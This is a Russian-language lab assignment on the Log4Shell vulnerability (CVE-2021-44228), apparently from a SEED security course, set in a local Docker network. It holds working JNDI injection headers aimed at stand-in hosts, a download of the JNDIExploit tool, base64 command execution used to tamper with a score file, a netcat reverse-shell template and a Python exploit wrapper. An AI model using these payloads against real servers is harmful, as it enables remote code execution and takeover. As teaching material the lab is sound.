Демонстрация Log4Shell CVE-2021-44228
Крупнейшей новостью в сфере безопасности в конце 2021 года была уязвимость Log4j, обозначенная как CVE-2021-44228, также известная как Log4Shell. По шкале CVSS она получила самый высокий уровень серьезности — 10 баллов, и считается самой значительной уязвимостью последних лет после Heartbleed и ShellShock. Некоторые даже называют ее «ядерной бомбой», что показывает глубину воздействия этой уязвимости. Данный проект посвящен анализу CVE-2021-44228 с практической лабораторной работой.
Logfile (файл журнала) — это файл, в котором регистрируются события, происходящие в работающей операционной системе или программном обеспечении, или сообщения, передаваемые между пользователями в программах чата. Многие операционные системы, программные фреймворки и программы включают системы журналирования. В Java есть удобный пакет для ведения журналов, который называется Log4j. Этот пакет принадлежит Apache Software Foundation, поэтому полное название — Apache Log4j.
Log4j — очень удобный инструмент, широко используемый в Java-программах. Часто разработчикам необходимо записывать данные выполняемых программ в файлы журналов или в другие базы данных для последующего использования. Для этого и нужен Log4j: он принимает строку из одного места (например, ID пользователя, введенный на экране входа) и записывает эту строку в другое место (например, поле ввода данных процесса аутентификации). Помимо простого копирования/вставки, Log4j может просматривать и интерпретировать содержимое строк. А интерпретация — это опасное действие, потому что если программа предварительно не очистит строку, при интерпретации могут возникнуть проблемы. Log4j не очищает строку перед интерпретацией, поэтому у атакующего есть возможность провести инъекционную атаку (injection).
CVE-2021-44228 — это критическая уязвимость, поскольку она позволяет неаутентифицированному злоумышленнику выполнить RCE (Remote Code Execution) на Java-сервере. Уязвимость возникает из-за того, как log4j обрабатывает сообщения журнала. Если злоумышленник отправит специально обработанное сообщение (содержащее строку типа ${jndi:ldap://rogueldapserver.com/a}), это может привести к загрузке внешнего класса или поиску сообщения и выполнению кода, что приводит к RCE.

Ниже приведен базовый процесс RCE.
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
${jndi:ldap://evil.xo/x}Пожалуйста, сначала загрузите SEED Ubuntu 20.04 VM, на которой предоставлена настроенная среда Docker. Скачать
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
Для упрощения шагов все серверы находятся в одной локальной сети.

В этом задании пользователь может ознакомиться с тем, как работает log4j. Пользователь может использовать заголовок X-Api-Version для записи лога с помощью log4j
# <> — это содержимое, которое нужно изменить пользователю
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
Если сервер правильно обработает ваш запрос, он вернет Hello World!.
Запишите в отчет результат, возвращенный сервером, и правильно ли сервер обработал запрос и записал лог.
В 2013 году в пакет Log4j был добавлен плагин «JNDILookup», позволяющий разработчикам использовать JNDI в сочетании с LDAP для получения внешних Java-объектов из JNDITutorial.
Далее мы будем использовать только что использованный log4j вместе с JNDIExploit, чтобы заставить сервер выполнить команду, которую мы хотим.
# <> — это содержимое, которое нужно изменить пользователю
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
Пожалуйста, создайте файл secret.txt в папке /tmp и войдите на сервер, чтобы проверить, успешно ли создан файл.
Примечание-1: <content> нельзя вставлять напрямую команду, необходимо преобразование
Примечание-2: Поскольку уvulnerable-appнет оболочки/bin/bash, для проверки файла можно использовать команду docker
$ docker exec vulnerable-app ls /tmp
После предыдущего задания мы обнаружили, что vulnerable-app выполняет любую команду злоумышленника в base64. Если злоумышленник хочет выполнить более сложные операции, он может отправить скрипт shell script для выполнения на сервере.
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
Выше приведен скрипт для изменения оценки на сайте. Оценка хранится в index.html. Сначала успешно выполните его и укажите, в чем отличие. Затем измените этот скрипт так, чтобы файл оценки изменялся на нужное вам число.
Примечание-1: Удобный способ изменить файл — использовать
sed
Примечание-2: Посколькуvulnerable-appне позволяет пользователю просматривать /var/www через браузер, для проверки файла можно использовать команду docker
$ docker exec vulnerable-app cat /var/www/index.html
После предыдущих заданий мы уже можем преобразовать нужную команду в base64 и заставить сервер выполнить её. Чтобы полностью контролировать сервер, можно с помощью команд создать reverse shell.
# <> — это содержимое, которое нужно изменить пользователю
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
Для удобства мы предоставляем скрипт на Python для атаки.
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Примечание: У
vulnerable-appнет/bin/bashи/dev/tcp, поэтому нельзя использовать обычный reverse shell, но можно создать файл pipe для чтения/записи.
$ mkfifo <file-name>